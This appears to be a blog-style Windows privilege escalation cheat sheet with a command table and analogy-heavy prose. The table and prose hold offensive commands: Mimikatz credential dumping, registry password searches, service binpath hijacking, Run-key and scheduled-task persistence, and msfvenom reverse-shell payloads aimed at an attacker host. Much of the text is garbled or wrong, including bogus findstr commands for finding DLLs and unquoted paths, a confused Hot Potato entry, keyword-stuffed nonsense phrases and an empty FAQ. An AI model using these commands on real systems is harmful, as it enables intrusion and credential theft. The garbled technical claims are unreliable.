Complete Windows Privilege Escalation Cheat Sheet 2023

Common methods attackers use to elevate privileges on Windows hosts. Organizations should harden configurations, restrict permissions, and monitor systems closely for signs of privilege escalation.

Technique	Description	Commands
Extract passwords	Extract and decrypt any stored passwords.	Find saved password hashes with Mimikatz.<br>Extract hashes with: sekurlsa::logonpasswords<br>Crack hashes with John/Hashcat.
Unquoted service paths	If the path to an executable is not quoted, Windows will search for and execute it from system folders. Can create our own executable with same name, put it in system folder earlier in PATH.	Find unquoted paths: wmic service get name,displayname,pathname,startmode |findstr /i "auto" |findstr /i /v "c:\windows\\" |findstr /i /v """<br>Replace binary: copy evil.exe %WinDir%\System32\service.exe
Weak service permissions	Modify service binary or config if service allows it.	Check permissions: sc qc service-name<br>Modify config: sc config service-name binpath= "C:\evil.exe"
Hot potato	Abuse NTLM delegation to gain SYSTEM privs from any process running as NT AUTHORITY\SYSTEM.	On attacker box: https://github.com/foxglovesec/RottenPotato<br>On target: Invoke-AllChecks<br>On attacker: Invoke-RottenPotato -Target 127.0.0.1 -ServiceName 'service name'
DLL hijacking	DLL search order allows hijacking vulnerable DLLs that services/software load.	Find hijackable DLLs: findstr /si "noforce" %windir%\system32\*.dll<br>Replace DLL with malicious one.
Registry	Modify auto-run or settings via registry.	Add binary to run at startup: reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v mybinary /t REG_SZ /d C:\evil.exe
AlwaysInstallElevated	Registry key allows installing .msi files as NT AUTHORITY\SYSTEM.	Check if enabled: reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated<br>Create malicious .msi file, install it.
Passwords in registry	Search registry for any stored credentials.	reg query HKLM /f password /t REG_SZ /s<br>reg query HKCU /f password /t REG_SZ /s
Startup applications	Modify startup apps with binaries or scripts.	View/modify startup apps: shell:startup or C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp
Scheduled tasks	View/modify existing scheduled tasks. Create new tasks to run scripts/binaries.	Check tasks: schtasks /query /fo LIST /v<br>Create new task: schtasks /create /sc minute /mo 1 /tn "evil" /tr C:\evil.exe
Tokens manipulation	Create a token with more privileges using incognito.	list_tokens -u<br>execute -hc 0x00??? -f cmd.exe
SCCM vulnerabilities	Abuse vulnerable SCCM deployments to execute code as SYSTEM.	Use weaknesses in SCCM to deploy payload/binary and execute.

• Always have legal authorization to perform any kind of security testing or privilege escalation.
• This table is a guideline and the effectiveness of each method will depend on the specific configuration and state of the target system.
• Always be aware of the potential consequences of exploiting vulnerabilities or misconfigurations, including data loss and system instability.
• It is essential to stay updated with the latest vulnerabilities and exploits to be effective in privilege escalation efforts.
• Learn and adhere to the laws and regulations governing hacking and cyber security in your jurisdiction to avoid legal trouble.

Remember to utilize these techniques responsibly and ethically.

Key Takeaways

• ✅ Understanding the basic concepts of privilege escalation: The essence of privilege escalation is obtaining higher access rights or permissions than initially granted. It’s akin to being a regular employee one day and finding the keys to the CEO’s office the next. This is a major component of many hacking strategies.
• ✅ Exploring various techniques for Windows privilege escalation: Like finding different hidden pathways in a maze, there are numerous methods to gain more privileges in the Windows environment. Some paths might lead to a dead-end, while others might take you straight to the treasure!
• ✅ Useful commands and methods to escalate privileges in Windows: Commands and methods are the tools in our toolkit that help us navigate through this maze. They range from using the command prompt to exploit specific windows dll files. If you know how to use them effectively, you’re like a superhero with a super-powered toolbox!

Introduction to Privilege Escalation

Definition of Privilege Escalation

Picture this: you’re a user, say ‘Alex’, on a Microsoft Windows 10 machine. As Alex, you’re allowed to do certain things – view your files, run some applications, and maybe change your desktop background. However, you’re not allowed to access files of another user ‘Ben’, install or uninstall applications, or modify system configs – these actions are beyond your ‘privileges’.

Privilege escalation, in essence, is like a magic trick that transforms ‘Alex’ into an ‘Administrator’, allowing you to do things that only Admins can. It’s like the username ‘Alex’ wears an invisibility cloak and impersonates an admin. Neat, huh?

Types of Privilege Escalation

There are two main types of privilege escalation:

• ✅ Horizontal Privilege Escalation: Imagine all users of a system, including Alex and Ben, are standing in a straight line (hence horizontal). If Alex can access Ben’s files without Ben’s permission, that’s Horizontal Privilege Escalation. It’s like Alex found a secret doorway in the maze that led him to Ben’s treasure!
• ✅ Vertical Privilege Escalation (also known as Privilege Elevation): Now, imagine all users are standing at the base of a mountain, and the Administrators are standing at the top. If Alex can get to the top of the mountain and gain the same access as the Administrators, that’s Vertical Privilege Escalation. This is more common and often the ultimate aim of many exploits. Like Alex finding a hidden pathway that takes him straight to the mountain top!

Understanding the Need for Privilege Escalation

Why would someone want to escalate privileges? Well, in ethical hacking, it helps identify security vulnerabilities, so they can be patched. It’s like a security guard testing if all doors and windows are locked in a building.

However, in the hands of a malicious hacker, it’s a way to gain unauthorized access, often with the aim to create a reverse shell or install malicious software. Imagine a thief testing if any windows are left open to slip into the building.

So, it’s crucial to understand privilege escalation, whether to fortify your Windows system (be it Windows Server, 8, or Windows 10) against potential breaches, or to exploit systems ethically during penetration testing. And that’s what this privilege escalation cheatsheet is all about!

Understanding the Concept of Privileges in Windows

Before we dive headlong into the world of Windows privileges, imagine for a moment that your computer is a bustling city. Much like a city, your Windows system has its version of citizens, authorities, and rules governing what each individual can or cannot do. These rules, or ‘privileges’ as they are called in Windows OS, help maintain a sense of order and security within this virtual city.

Explanation of privileges in the context of the Windows OS

In Windows, privileges define the rights of different users within the operating system. Just like citizens in our city analogy, each user account has certain privileges that allow them to perform specific actions – these can range from basic tasks, such as creating a file or reading data, to more advanced actions, like restarting the system or changing the config of security settings. When you install Windows, it establishes a default set of privileges, but these can be modified based on the needs of the users or the requirements of the system.

Now, let’s say that you want to perform a task that’s typically reserved for the authorities – like running a remote exploit or bypassing certain security checks. That’s where the concept of ‘privilege escalation’ comes into play. But we’ll dive into that a bit later. First, let’s understand the roles of different users within the Windows OS.

Explaining the roles of different users: admin, NT authority\system, authority\authenticated users

Let’s go back to our city analogy. In our bustling computer city, the administrator (admin) is like the mayor – they have the highest level of access and can modify system configurations, install software, and even create or delete user accounts. The “NT Authority\System” is akin to the city’s infrastructure and services – it’s the heart of the system, with even higher privileges than the admin. It can overwrite files, always install elevated, and perform core system functions.

“Authenticated Users”, on the other hand, are the regular citizens of our city. They have enough access to perform their daily tasks, but their privileges are significantly limited compared to the admin or NT Authority\System to prevent accidental changes or malicious activities that could harm the system.

However, even this system of privileges can have vulnerabilities that can be exploited. It’s a bit like finding a secret tunnel in our city that allows a regular citizen to suddenly have the power of the mayor. This brings us to our next section, privilege escalation techniques.

Privilege Escalation Techniques

In the world of ethical hacking, knowing how to escalate privileges is a crucial skill. It’s like learning how to pick a lock or find those secret city tunnels we spoke about earlier – it allows us to reach areas that would otherwise be out of bounds.

Understanding privilege escalation vulnerabilities

Imagine if a citizen in our city found a way to impersonate the mayor – chaos would ensue! Similarly, in Windows, a vulnerability in the system could allow a regular user (like an “Authenticated User”) to elevate their privileges and impersonate an admin or even the NT Authority\System.

How does this happen? It can occur through various means such as configuration mistakes, software bugs, or oversights in the Windows OS. For instance, enabling the “SeImpersonatePrivilege” allows a user to impersonate a client after authentication, potentially leading to privilege escalation.

Another example is an AlwaysInstallElevated policy which, if enabled, allows any user to install .exe or .msi files as an administrator. This could provide an avenue for local privilege escalation, especially if a malicious user gets ahold of this access.

Looking into common privilege escalation techniques in Windows

The craft of escalating privileges involves a lot of ingenious methods and techniques. It’s a bit like learning magic tricks or sleight of hand – the possibilities are vast, but let’s focus on a few common ones:

• 📛 Abusing System Configurations: If a system’s configuration is not secure, a malicious user can take advantage of this. For instance, they can abuse the “SeImpersonatePrivilege” or “SeIncreaseWorkingSetPrivilege” to elevate their privileges and execute a remote exploit.
• 📛 Exploiting Weak File Permissions: By finding files or folders that have been improperly configured to allow write access to regular users, an attacker can overwrite these files with malicious content or even modify them to grant elevated privileges.
• 📛Misconfigured Service Permissions: If a Windows service is configured to allow regular users to modify it, they can alter the service’s executable path, forcing it to run malicious software the next time the service is restarted.

Understanding these techniques and more is vital when it comes to defending your virtual city (Windows system) against malicious attacks or even in ethical hacking, where you’re tasked with finding these vulnerabilities to fix them. After all, the best defense is a good offense!

Exploiting Weak Permissions

Alright, imagine you’re an athlete trying to get into a sports arena. Now, there’s a high, fortified fence (strong permissions) you’d need a special pass to get through. But suppose there’s a small, broken part of the fence (weak permissions) that no one bothered to fix? Bingo! You’re in!

Explanation of Weak Permissions

In the world of computers, just like in our sports arena analogy, we sometimes come across situations where some files, directories, or services are not adequately protected. They’re like broken fences, and we call them “weak permissions.”

In Windows, permissions are the rules governing who can access, modify, or execute certain files or services. We have different types of permissions – Read (r), Write (w), and Execute (x), to name a few. Now, here’s the catch: if these permissions are not set correctly, it opens up potential avenues for attackers to exploit.

How to Exploit Directories and Files with Weak Permissions

The idea behind exploiting weak permissions is pretty straightforward. You’re essentially looking for files or directories that have more access rights than they should. Think about an “exe” file that everyone can modify – that’s a disaster waiting to happen!

One of the key concepts here is “enumeration.” It’s like you’re a detective, searching through the city (your target machine) for clues. You’re looking through files and directories to see if any are missing those high, fortified fences.

For instance, consider the NT Authority\System user. If a file is given rw NT Authority\System service_all_access rw permissions, it means the system user has complete control over that file. Now, imagine if an attacker gets access to it?

Using the “dir” Command to List Directory Contents

To start our detective work, we use the “dir” command in Windows. It’s like a magnifying glass, allowing us to inspect the contents of a directory. You can find valuable information like file permissions and ownership, which might just lead you to some weakly protected files.

The Role of the “Password” in Exploiting Weak Permissions

Now, let’s talk about passwords. Remember, a strong fence might have a solid lock (a good password), but a weak fence… might not even have a lock!

In the context of weak permissions, the password comes into play when we’re dealing with user accounts. Imagine a scenario where a file contains a plaintext password. Now, if that file has weak permissions, anyone could read it and gain access to the associated user account. So always remember, secure permissions go hand-in-hand with strong passwords.

Misconfigured Services

Continuing with our detective analogy, misconfigured services are like unlocked doors in our city. They might lead directly to valuable resources if you know where to look.

Understanding Windows Services and Service Paths

Windows services are like the city’s infrastructure – the power grid, water supply, and so on. They’re programs that run in the background, helping the city (our OS) function smoothly. Each service in Windows has a unique service path, which is the route or the pipeline it uses to carry out its tasks.

Identifying Misconfigured Services with Unquoted Service Paths

Just like our city’s infrastructure, if these service paths are not properly configured or protected, they can pose serious security risks. One such misconfiguration is the presence of unquoted service paths.

If a service path contains spaces and is not enclosed in quotes, Windows will get confused and try to execute from each part of the path until it finds an executable file. This is a bit like our city’s water supply mistakenly diverting into someone’s swimming pool because of a misplaced pipeline!

An attacker can exploit this by placing a malicious “exe” file in one of these paths, tricking Windows into executing it.

Using “wmic service get” to Query Service Configuration

So how do we find these misconfigured services? We use the command wmic service get. This is like our city blueprint, giving us details about each service and its configuration. By using this, we can identify services with potential misconfigurations and unquoted service paths, which might be our next point of interest in our quest for privilege escalation.

Remember, just like in our sports arena, it’s all about finding those broken fences and unlocked doors. Keep your eyes open, and happy hunting!

Exploiting Misconfigured Registry Keys

Understanding the Role of the Registry in Windows

Think of the Windows Registry as the DNA of your computer. It’s a vast database where Windows stores all of its configuration settings, controlling everything from your desktop background to your hardware settings. Each piece of data in the registry, called a key or a value, plays an important role in the functioning of the Windows OS.

The registry holds great power. Misconfigured registry keys can grant an attacker increased permissions, possibly all the way up to the NT Authority\System level, with all accesses granted. It’s like finding a master key to a building – it can open any door!

Exploring How to Exploit Registry Reg Query HKLM

For a hacker, a misconfigured registry key is like finding an unguarded treasure. One common area to exploit is the HKLM (HKEY_LOCAL_MACHINE), a part of the registry that stores configuration data that is used by all users.

Let’s take an example of a registry key that controls whether a service should be restarted if it fails. This is a legitimate feature that can be exploited if not properly configured. A hacker could intentionally crash the service, causing Windows to restart it. If the restart settings are misconfigured, the hacker could instruct Windows to run a different program instead – say, a malicious executable created with msfvenom -p windows/meterpreter/reverse_tcp LHOST=<proto local address> LPORT=<port> -f exe -e x86/shikata_ga_nai -i 5 > output.exe.

With this newly created malicious program, a hacker could escalate their privileges, allowing them to impersonate a client after authentication or even increase their permissions to create global objects.

Using “Reg Query” to Query Registry Keys

Hackers can use the command reg query to discover misconfigured keys. It’s like using a metal detector to find buried treasure! You can specify which key you’re interested in and get a quick view of its current settings. It’s also handy for finding weakly protected keys that may be vulnerable to exploitation.

A typical reg query might look like this: reg query HKLM\SYSTEM\CurrentControlSet\Services. This command would retrieve a list of all the services registered on the Windows machine, which the hacker could then analyze for potential weak points.

Unquoted Path Vulnerabilities

Explanation of Unquoted Path Vulnerabilities

Sometimes, it’s not the big things that cause problems, but the little ones. A small typo, like leaving out the quotation marks around a file path in a service configuration, can lead to a significant security vulnerability. This is known as an unquoted path vulnerability.

Here’s a real-life example: Imagine you’re following a recipe that says, “Add a cup of salt.” You’d be in for a salty surprise! But if the recipe read, “Add ‘a’ cup of salt,” you’d know it meant to add one single cup.

In Windows, when a service tries to run a program from a path that isn’t enclosed in quotes, it doesn’t know where to stop. It keeps looking for an executable file in every folder along the path, starting from the left, until it finds one. If a hacker places a malicious executable in one of those folders and names it strategically, they can trick the service into running their program instead.

Using the “Findstr” Command to Find Unquoted Service Paths

To hunt down unquoted service paths, hackers use the findstr command. It’s like a searchlight, shining on the dark corners of your system configuration.

Running the command findstr /i /s /m /p /c:"\.exe" %WINDIR%\System32\*.dll would return a list of all DLL files in the System32 directory containing the string “.exe”. This command could reveal potential targets for the hacker to exploit an unquoted path vulnerability.

Remember, understanding how these attacks work is the first step to securing your system against them. Always remember to enclose service paths in quotes, regularly check your registry configuration, and keep your system patched and up to date to reduce the risk of privilege escalation attacks.

Exploiting Scheduled Tasks

Understanding scheduled tasks in Windows

Just like you might set an alarm to wake you up every morning, Windows has a feature called Scheduled Tasks, which are operations set to occur at specific times or in response to certain events. Imagine if you could set your computer to automatically check your email every morning at 8 am, or clean up your desktop every week. Scheduled tasks are just that, but they can also perform more complex operations like running scripts or applications.

Now, let’s think of this like a city bus service, the city (Windows) schedules buses (tasks) to run at specific times, and they follow a route (script or application). Just as a bus driver (the task’s assigned user or group) has the authority to drive the bus, scheduled tasks in Windows run with the privileges of the user or group they are assigned to.

The terms like “NT authority\system service_all_access rw builtin\administrators” and “service_all_access rw builtin\administrators service_all_access rw” represent the different levels of access these user or group accounts have in Windows. They are like different bus routes with various privileges and access to the city.

Finding potential escalation points through scheduled tasks

Finding potential escalation points in scheduled tasks is like finding a loophole in our city’s bus schedule. Suppose a bus route allows passengers to disembark inside a restricted government facility. In that case, you can essentially use that route to gain access to the facility, right?

Similarly, we can look for tasks that are scheduled to run with higher privileges than our current account, and then see if we can manipulate these tasks to do our bidding instead. This process, known as privilege escalation, allows us to “ride the bus” to places we normally wouldn’t have access to.

Using the command schtasks /query /fo LIST /v, we can view all scheduled tasks, and see details about them, including the user account that runs the task. If we see a task that runs as NT Authority\System or as part of the Builtin\Administrators group, then we might have found a potential escalation point.

Kernel Exploits

Explanation of kernel exploits

Continuing with our city analogy, imagine the kernel as the city’s government—it manages everything and has the highest level of access and authority. Exploiting the kernel is like finding a way to become the city’s mayor.

Kernel exploits take advantage of flaws in the kernel of an operating system to escalate privileges. These exploits are quite serious as they can allow an attacker to gain complete control over the target system.

Listing a few common kernel exploits in Windows

Kernel exploits are highly specific to the version of Windows in use. It’s as if each version of Windows is a different city, each with its unique governance rules. Some of the common kernel exploits for various Windows versions like Windows 8 or Windows 10 are:

• ❗️ CVE-2020-0796: This vulnerability exists in the Microsoft Server Message Block 3.1.1 (SMBv3). An attacker who successfully exploits this vulnerability could gain the ability to execute code on the target SMB Server or SMB Client.
• ❗️ CVE-2020-0986: An elevation of privilege vulnerability exists when the Windows kernel fails to handle objects in memory. An attacker who successfully exploited this vulnerability could run arbitrary code in kernel mode, a.k.a. “become the mayor”.
• ❗️ CVE-2018-8453: An elevation of privilege vulnerability exists in Windows when the Win32k component fails to properly handle objects in memory, allowing an attacker to run arbitrary code in kernel mode.

Each of these vulnerabilities, once exploited, can enable a user with lower privileges to escalate their access to the highest authority (NT Authority\System), essentially allowing them to “run the city”.

Remember that, just as a responsible citizen would report a loophole in the city’s governance to the proper authorities, it’s crucial to report any discovered vulnerabilities responsibly to the appropriate bodies (like Microsoft for Windows vulnerabilities), allowing them to patch the issues and prevent potential malicious use. You wouldn’t want your city falling into the wrong hands, would you?

Windows Privilege Escalation Cheat Sheet Commands and Tools

Imagine yourself as a wizard. You have a magical staff, which you can use to cast spells and manipulate the world around you. In the realm of Windows systems, commands and tools are the magic staff you’ll need to escalate privileges and perform feats only accessible to the wizards of the system – the administrators.

So, are you ready to start your wizarding journey? Great! Here are some essential commands and tools you need to master.

Introducing the essential commands and tools for Windows privilege escalation

There are several essential commands and tools we use when conducting privilege escalation on a Windows system. Let’s compare these tools to the staff, wand, and spells of our wizarding analogy.

• 📍 Command Prompt: This is our magical staff, the primary tool we use to interact with the system. It allows us to cast different spells or commands.
• 📍 PowerShell: A powerful wand, it’s like the command prompt but can cast more complex and powerful spells.
• 📍 netsh: A specific spell to manipulate network settings. It’s like the “Accio” of our toolkit, fetching the necessary network information.
• 📍 WMIC: A more powerful spell, often used to get information about system hardware and software, a bit like a magical “reveal” spell.
• 📍 Metasploit (MSFVenom): This is a full wizarding toolkit, with multiple powerful spells used for crafting and handling exploits.
• 📍 net user: Another handy spell for managing users in the system, especially useful when we want to change roles in our magical story.

Exploring how to use these commands and tools effectively

Just like how wizards need to know when and how to cast their spells effectively, knowing how to use these tools properly is crucial for success in privilege escalation. So, let’s learn to use our magic staff and spells more effectively.

Using Command Prompt

The command prompt is like our magical staff in this world of Windows privilege escalation. This basic tool lets us interact with the system, run commands, and see their output. It’s our primary means of casting spells on the system.

The role of the command prompt in privilege escalation

When you first log into a Windows system, you’ll typically start with the command prompt. You could say you’re starting as a junior wizard, with your basic staff in hand, ready to cast spells.

The command prompt can be used to escalate privileges by executing commands that exploit certain system vulnerabilities. It is through the command prompt that we can do things like query system information, change directory permissions, or manipulate user accounts.

Commonly used commands: dir, net user, netsh

So what spells can we cast with our staff? Well, let’s look at a few of the most common ones:

• dir: This command allows us to list the contents of directories. It’s like the magical ‘Revelio’ spell, showing us what’s hidden in the system’s folders.
• net user: This command lets us manage user accounts on the system. For example, we could change a user’s password or adjust their group membership. It’s like the magical ‘Polyjuice Potion’, allowing us to change roles within our wizarding story.
• netsh: This command helps us to manipulate the network interfaces of the system. Think of it as a magical ‘Apparition’ spell, helping us to traverse the network landscape.

Remember, just like a wizard needs to practice to master their spells, you’ll need to practice using these commands effectively to succeed in your journey of Windows privilege escalation. But with practice, the command prompt can become a powerful tool in your hands, or should I say, a magical staff!

PowerShell

Let’s consider PowerShell as a magic wand in the realm of Windows. The trick is knowing how to use this wand to cast the right spells, or in our case, the correct commands to escalate our privileges.

Exploring PowerShell’s role in privilege escalation

PowerShell is a versatile scripting environment native to the Windows platform. Imagine PowerShell as a super-user account like Linux’s root user. With it, you can get almost god-like control over the Windows system. Now, we are not going to turn into villains here, but we’ll certainly learn to utilize PowerShell for good.

PowerShell has the potential to perform a plethora of operations. However, today, our primary interest is to leverage it for privilege escalation. It can query system information (like users, groups, permissions, and more), execute complex tasks, and manipulate the Windows registry or the Security Account Manager. This gives PowerShell an integral role in our privilege escalation cheat sheet.

Think of privilege escalation like climbing a ladder, each rung represents a level of access. We start at the bottom with restricted permissions. Our goal is to reach the top, where we have complete control, typically reserved for roles like the NT AUTHORITY\SYSTEM, or BUILTIN\Administrators.

PowerShell commands related to privilege escalation

PowerShell, like our magic wand, needs spells or commands to operate. To climb our imaginary ladder of permissions, here are some commands that come in handy:

• Get-Process: This command allows you to explore the running processes. Remember, some processes might have higher privileges, so knowing what’s running is vital.
• Get-Service: Using this, you can identify services with misconfigurations, like those missing the ‘Bypass Traverse Checking’ permission, which can lead to privilege escalation.
• Get-Acl | Format-List: This command fetches the Access Control List (ACL) of an object, helping identify weak permissions.

These are just a few examples. There are many other commands in PowerShell’s arsenal to help us in our quest for privilege escalation.

Using Metasploit (MSFVenom)

The next tool we’ll cover is Metasploit, a powerful exploit development framework. It’s like a Swiss army knife for ethical hackers. Within Metasploit, there’s a special tool called MSFVenom. Let’s explore this further.

Introduction to Metasploit and MSFVenom

MSFVenom is a standalone tool that merges the functions of MSFpayload and MSFencode, components of Metasploit. MSFVenom provides a buffet of exploits, shellcodes, and payloads, which makes it invaluable for privilege escalation.

Consider MSFVenom as a gourmet chef. You can tell it exactly what you want, and it prepares a payload tailored to your requirements. This might be a malicious executable that, when run, allows you to ‘impersonate a client after authentication’ or ‘create global objects’ – both of which are paths to escalated privileges.

Generating a malicious executable with msfvenom -p

To generate our malicious payload, we’ll use the command msfvenom -p. Here, -p specifies the payload. Let’s say we want a reverse shell that connects back to us. The full command might look like this:

bashCopy code

msfvenom -p windows/shell_reverse_tcp LHOST=<Your IP> LPORT=<Your Port> -f exe > shell.exe

This command tells our chef (MSFVenom) to prepare a dish (a reverse shell payload) with specific ingredients (your IP and port) and serve it as an EXE file. But remember, we don’t want to do anything malicious. We’re ethical hackers after all!

Using Binary Exploits

Binary exploitation might sound complicated, but let’s demystify it. Think of binary exploits as a skeleton key. If you understand how the lock (binary) works, you can design a key (exploit) to unlock it.

Understanding binary exploits

At its core, a binary exploit takes advantage of flaws in binary code. These flaws may come from how the binary was programmed or how it interacts with the system. Similar to how we used PowerShell and MSFVenom, our goal with binary exploitation is to escalate our privileges.

An example is exploiting weak permissions on a binary file. If a binary file, executed by a user with higher privileges (like NT AUTHORITY\SYSTEM), is writable by lower-privileged users, we could modify or replace it. When it’s run next, our code executes with the higher privileges.

Examples of using binary exploits for privilege escalation

One common binary exploit is DLL Hijacking. Here, we trick an application into loading our malicious DLL instead of the legitimate one.

Another example is the ‘Unquoted Service Path’ exploit. Windows services, much like our ladder rungs from earlier, might point to executables using a path. If this path is unquoted and contains spaces, we might be able to exploit this. Imagine if we could replace a rung on the ladder with our own. When someone steps on it, it triggers our exploit, and we ascend to a higher privilege level.

Binary exploits require a deep understanding of the system and the binary. They’re complex but can be highly effective in our privilege escalation journey. Always remember to use these powers for ethical purposes. Our goal isn’t to cause harm, but to understand the system better, protect it, and, if need be, test its defenses.

Some Facts About Windows Privilege Escalation

Just like the game of chess, where every piece has a role and specific movement abilities, the Windows operating system allocates specific roles and privileges to its users and services. This allocation allows for smooth functioning but can also pose a risk when misused. Let’s take a deep dive into the fascinating world of Windows privilege escalation.

Brief History and Evolution of Privilege Escalation Techniques in Windows

The concept of privilege escalation in Windows did not just appear out of thin air. The evolution can be traced back to the very early versions of Microsoft Windows, where the operating system was initially designed with a single-user model in mind. This meant that every user had admin privileges by default. It’s like every player on a chess board being able to move like a queen.

However, with the release of Windows NT in the mid-90s, things started to change. The model shifted to a multi-user model with different access levels, much like how different pieces in chess have different movements. This allowed the introduction of new roles such as NT AUTHORITY\SYSTEM, which has higher privileges than the Administrator. This “king of the chessboard” role allowed the OS to perform critical tasks.

While this new architecture was intended to provide greater security and control, it inadvertently opened up avenues for malicious entities to try to ‘promote’ their role, akin to a pawn reaching the other end of a chessboard and being promoted to a queen.

Discussing the Commonality of Privilege Escalation in Windows (7, 8, 10, Server)

With the evolution of Windows, from version 7 to 8, 10, and even Server editions, privilege escalation techniques have also become more sophisticated, like the introduction of new chess strategies over time. In fact, every Windows version has had its unique set of vulnerabilities.

For example, the Windows 7 era saw a rise in kernel-based privilege escalation, where malicious binaries would trick the system into giving them higher privileges. It’s similar to a chess piece tricking its opponent into falling for a trap.

In Windows 10, attackers often target misconfigurations and unpatched services. For instance, the builtin\administrators service_all_access rw nt authority\authenticated method enables attackers to escalate privileges by manipulating authenticated user roles.

The Importance of Regular System Updates and Patching to Prevent Privilege Escalation

Keeping your Windows system up-to-date is like learning new chess strategies to prevent falling into traps. Regular system updates and patches are the most effective way to safeguard your system from privilege escalation attacks.

For example, Microsoft regularly patches vulnerabilities and closes potential exploits. It’s akin to changing the rules of the game to block certain moves that previously allowed a piece to capture the king. Similarly, Windows updates can fix issues like ‘unquoted service paths’ or ensure that ‘service_all_access rw nt authority\authenticated users’ cannot be exploited.

Moreover, some updates bring in new features like the Windows Subsystem for Linux (WSL), which provides more control and a safer environment for admins to work in. WSL allows admins to use their familiar Linux commands to manage Windows, thus reducing the chances of misconfigurations.

FAQ

Conclusion

It’s been a fascinating journey, much like a thrilling game of chess, delving into the concepts, techniques, and commands of Windows privilege escalation. We’ve seen how privilege escalation is not just a product of modern systems but has its roots in the early versions of Windows.

We’ve discussed various techniques used to escalate privileges in different Windows versions and the importance of keeping your systems updated to prevent such escalations. Just like in chess, understanding the strategies and tactics of your opponent, in this case, potential hackers, is crucial for a robust defense.

Whether you’re an ethical hacker trying to secure a system or a system administrator looking to fortify your defenses, understanding Windows privilege escalation can make all the difference. Always remember, in the game of cybersecurity, there’s no such thing as a draw; you either secure your system, or you get hacked. So, keep updating, keep learning, and keep winning.